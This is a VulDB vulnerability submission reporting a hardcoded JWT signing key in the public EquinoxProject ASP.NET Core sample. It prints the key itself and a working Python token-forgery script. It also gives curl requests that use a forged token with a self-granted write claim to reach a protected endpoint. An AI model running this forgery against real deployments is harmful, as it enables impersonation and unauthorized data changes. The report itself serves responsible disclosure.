| Título | EduardoPires EquinoxProject fde9a953eb31a31217e1c9d35b385b73adb5e1d3, master as of 2026-10-27 Use of Hard-coded Cryptographic Key |
|---|
| Descrição | EquinoxProject (ASP.NET Core / Clean Architecture sample application, approx. 6800 GitHub stars) ships an identical hardcoded JWT HMAC-SHA256 signing key in three configuration files (permalinks pinned to the verified commit):
- https://github.com/EduardoPires/EquinoxProject/blob/fde9a953eb31a31217e1c9d35b385b73adb5e1d3/src/Equinox.Services.Api/appsettings.Development.json#L15
- https://github.com/EduardoPires/EquinoxProject/blob/fde9a953eb31a31217e1c9d35b385b73adb5e1d3/src/Equinox.Services.Api/appsettings.Staging.json#L15
- https://github.com/EduardoPires/EquinoxProject/blob/fde9a953eb31a31217e1c9d35b385b73adb5e1d3/src/Equinox.Services.Api/appsettings.Testing.json#L15
Value: fmFGn5agHZkuG2N0e1zaEJIQtGVoNN5P. A repository comment ironically states "Always use strong keys like that". The key is loaded from the AppSettings section (src/Equinox.Infra.CrossCutting.Identity/Configuration/AspNetIdentityConfig.cs:81-99) and used by JwtBuilder (src/Equinox.Infra.CrossCutting.Identity/API/JwtBuilder.cs, Encoding.ASCII.GetBytes(SecretKey), SecurityAlgorithms.HmacSha256Signature) to sign authentication tokens. Token validation enforces the signature, issuer "MyEnvironment" and audience "https://localhost".
Impact: because the repository is public, any attacker can extract the key and forge arbitrary tokens completely offline: (1) impersonation of any registered user via the sub claim; (2) privilege escalation - write endpoints are guarded only by a claim check ([CustomAuthorize("Customers","Write")] in src/Equinox.Services.Api/Controllers/CustomerController.cs), which merely requires the token to carry claim Customers=Write, trivially added to a forged token. Business read endpoints are additionally marked AllowAnonymous (information disclosure).
Proof of Concept - verified against a locally deployed instance of commit fde9a953; no login, no server-side interaction. Step 1, forge the token offline (pure Python stdlib; the authorization claim is self-granted):
# forge_token.py - offline JWT forgery using the key hardcoded in appsettings.*.json
import json, uuid, time, hmac, hashlib, base64
def b64u(s): return base64.urlsafe_b64encode(s).rstrip(b"=").decode()
key = "fmFGn5agHZkuG2N0e1zaEJIQtGVoNN5P" # hardcoded signing key (repo is public)
now = int(time.time())
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"sub": "be54e1f9-ff26-421e-a174-8824e27e864c", # any registered user id
"email": "[email protected]", "jti": str(uuid.uuid4()),
"nbf": now, "iat": now, "exp": now + 7200,
"iss": "MyEnvironment", "aud": "https://localhost",
"Customers": "Write", # self-granted privilege claim (absent in DB)
}
h = b64u(json.dumps(header, separators=(",", ":")).encode())
p = b64u(json.dumps(payload, separators=(",", ":")).encode())
sig = b64u(hmac.new(key.encode("ascii"), (h + "." + p).encode(), hashlib.sha256).digest())
token = h + "." + p + "." + sig
Step 2, access the protected write endpoint with the forged token:
curl -X POST "http://<host>/customer" -H "Authorization: Bearer $token" -H "Content-Type: application/json" -d '{"name":"POC","email":"[email protected]","birthdate":"1990-01-01"}'
# -> HTTP 204 (created)
curl "http://<host>/customer"
# -> 200, anonymous read-back shows the created record
Control experiments: anonymous request 401; forged token without the claim 403; forged token signed with a wrong key 401; genuine login token of the same user 403. A terminal screenshot of the complete attack run (forgery -> 204 -> read-back -> negative controls) is available on request.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (8.8 Critical)
Vendor was informed via public GitHub issue on 2026-06-16 (open, no response yet): https://github.com/EduardoPires/EquinoxProject/issues/219
Product website: https://github.com/EduardoPires/EquinoxProject
|
|---|
| Fonte | ⚠️ https://github.com/EduardoPires/EquinoxProject/issues/219 |
|---|
| Utilizador | dlren (UID 101827) |
|---|
| Submissão | 27/10/2026 12h41 (há 29 dias) |
|---|
| Moderação | 25/11/2026 09h34 (29 days later) |
|---|
| Estado | Aceite |
|---|
| Entrada VulDB | 443678 [EduardoPires EquinoxProject até 1.10 JWT Bearer Authentication appsettings.Development.json BuildToken SecretKey Autenticação fraca] |
|---|
| Pontos | 20 |
|---|